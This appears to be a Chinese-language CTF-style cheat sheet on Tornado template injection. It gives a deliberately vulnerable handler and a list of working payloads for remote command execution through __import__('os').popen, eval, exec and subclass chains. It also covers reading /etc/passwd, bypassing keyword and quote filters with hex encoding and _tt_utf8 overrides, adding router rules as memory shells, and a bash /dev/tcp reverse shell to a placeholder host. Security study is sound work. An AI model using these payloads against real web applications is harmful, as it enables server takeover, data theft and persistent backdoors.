tornado模板注入
也是python的,所以跟jinjia很多一样的地方,这里仅列出一些特别的
入口:
render和render_string
模板语法:
{{}}
{% apply *function* %}...{% end %}(用于执行函数,function 是函数名。apply 到 end 之间的内容是函数的参数)
例:
{% apply import(‘os’).system(‘calc’) %}{% end %}
{% from * import * %},{% import *module* %}:等价于import
{%if%}...{%elif%}...{%else%}...{%end%}:等价于if
loader实例:
对于 Tornado 来说,一旦 self.render 之后,就会实例化一个 tornado.template.Loader,这个时候再去修改文件内容,它也不会再实例化一次。所以这里需要把 tornado.web.RequestHandler._template_loaders 清空。否则在利用的时候,会一直用的第一个传入的 payload。
如:
import tornado.ioloop
import tornado.web
from tornado.template import Template
class IndexHandler(tornado.web.RequestHandler):
def get(self):
tornado.web.RequestHandler._template_loaders = {}#清空模板引擎
with open('index.html', 'w') as (f):
f.write(self.get_argument('name'))
self.render('index.html')
app = tornado.web.Application(
[('/', IndexHandler)],
)
app.listen(8888, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()
利用HTTPServerRequest:
绕过字符限制:
- request.query:包含 get 参数
- request.query_arguments:解析成字典的 get 参数,可用于传递基础类型的值(字符串、整数等)
- request.arguments:包含 get、post 参数,返回所有参数组成的字典
- request.body:包含 post 参数
- request.body_arguments:解析成字典的 post 参数,可用于传递基础类型的值(字符串、整数等)
- request.cookies:就是 cookie
- request.files:上传的文件
- request.headers:请求头
- request.full_url:完整的 url
- request.uri:包含 get 参数的 url。有趣的是,直接
str(requests)然后切片,也可以获得包含 get 参数的 url。这样的话不需要.或者getattr之类的函数了。 - request.host:Host 头
- request.host_name:Host 头
利用 Application:
- Application.settings:web 服务的配置,可能会泄露一些敏感的配置
- Application.add_handlers:新增一个服务处理逻辑,可用于制作内存马,后面会一起说
- Application.wildcard_router.add_rules:新增一个 url 处理逻辑,可用于制作内存马
- Application.add_transform:新增一个返回数据的处理逻辑,理论上可以配合响应头来搞个内存马
利用 RequestHandler:
{{handler.get_argument('yu')}} //比如传入?yu=123则返回值为123
{{handler.cookies}} //返回cookie值
{{handler.get_cookie("data")}} //返回cookie中data的值
{{handler.decode_argument('u0066')}} //返回f,其中u0066为f的unicode编码
{{handler.get_query_argument('yu')}} //比如传入?yu=123则返回值为123
{{handler.settings}} //返回传入application.settings中的值,获取的一般就是环境变量
经典参数逃逸:
RequestHandler.request.*
其他和 request 一样的方法:例如 get_argument 等等,就不一一列举了,可以参考官方文档
带出回显:
- RequestHandler.set_cookie:设置 cookie
- RequestHandler.set_header:设置一个新的响应头
- RequestHandler.redirect:重定向,可以通过 location 获取回显
- RequestHandler.send_error:发送错误码和错误信息
- RequestHandler.write_error:同上,被
send_error调用
payload:
tornado中可以直接使用globals()函数,并且可以直接调用一些python的初始方法,比如import、eval、print、hex等
{{__import__("os").popen("calc").read()}}
{{eval('__import__("os").popen("calc").read()')}}
{{globals()['__builtins__']['eval']("__import__('os').popen('calc').read()")}}
无过滤:
1、读文件
{% extends "/etc/passwd" %}
{% include "/etc/passwd" %}
2、 直接使用函数
{{__import__("os").popen("ls").read()}}
{{eval('__import__("os").popen("ls").read()')}}
3、导入库
{% import os %}{{os.popen("ls").read()}}
4、flask中的payload大部分也通用
{{"".__class__.__mro__[-1].__subclasses__()[133].__init__.__globals__["popen"]('ls').read()}}
{{"".__class__.__mro__[-1].__subclasses__()[x].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
其中"".__class__.__mro__[-1].__subclasses__()[133]为<class 'os._wrap_close'>类
第二个中的x为有__builtins__的class
5、利用tornado特有的对象或者方法
{{handler.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{handler.request.server_connection._serving_future._coro.cr_frame.f_builtins['eval'("__import__('os').popen('ls').read()")}}
6、利用tornado模板中的代码注入
{% raw "__import__('os').popen('ls').read()"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}
//在 Tornado 模板引擎中,所有表达式输出前会经过一个名为 _tt_utf8 的函数,用于将值转换为 UTF-8 字符串。默认情况下,_tt_utf8 = str但如果你能在
//模板中重新赋值 _tt_utf8 = eval,那么后续的表达式就会被 eval() 执行,而不是被转为字符串
有过滤:
1.过滤一些关键字如import、os、popen等(过滤引号该方法同样适用)
{{eval(handler.get_argument(request.method))}}
然后看下请求方法,如果是get的话就可以传?GET=__import__("os").popen("ls").read(),post同理
2.过滤了括号未过滤引号
{% raw "x5fx5fx69x6dx70x6fx72x74x5fx5fx28x27x6fx73x27x29x2ex70x6fx70x65x6ex28x27x6cx73x27x29x2ex72x65x61x64x28x29"%0a _tt_utf8 = eval%}{{'1'%0a _tt_utf8 = str}}
3.过滤括号及引号
下面这种方法无回显,适用于反弹shell,为什么用exec不用eval呢?
是因为eval不支持多行语句。
__import__('os').system('bash -i >& /dev/tcp/xxx/xxx 0>&1')%0a"""%0a&data={%autoescape None%}{% raw request.body%0a _tt_utf8=exec%}&%0a"""
4.其他
通过参考其他师傅的文章学到了下面的方法(两个是一起使用的)
{{handler.application.default_router.add_rules([["123","os.po"+"pen","a","345"]])}}
{{handler.application.default_router.named_rules['345'].target('/readflag').read()}}
//构造恶意可调用对象